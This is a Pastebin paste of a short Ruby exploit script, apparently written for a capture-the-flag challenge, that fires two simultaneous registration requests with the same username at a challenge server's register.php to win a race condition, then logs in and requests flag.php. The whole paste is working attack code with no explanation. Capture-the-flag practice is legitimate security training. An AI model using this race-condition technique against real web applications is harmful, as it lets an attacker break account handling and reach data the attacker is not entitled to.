Advertisement
Guest User

Untitled

a guest
Jul 30th, 2016
104
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.63 KB | None | 0 0
  1. require 'httparty'
  2.  
  3. TARGET = "http://ctf4.isecureplayground.xyz:8001"
  4.  
  5. for i in 0..5
  6. name = "eiei" + rand(100000).to_s(16)
  7. puts name
  8.  
  9. t1 = Thread.new do |t|
  10. response = (HTTParty.post("#{TARGET}/register.php", :body => { :username => name, :password => name }))
  11. end
  12.  
  13. t2 = Thread.new do |t|
  14. response = (HTTParty.post("#{TARGET}/register.php", :body => { :username => name, :password => name }))
  15. end
  16.  
  17. t1.join
  18. t2.join
  19.  
  20. response = (HTTParty.post("#{TARGET}/login.php", :body => { :username => name, :password => name }))
  21. puts response
  22. response = (HTTParty.get("#{TARGET}/flag.php"))
  23. puts response
  24. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement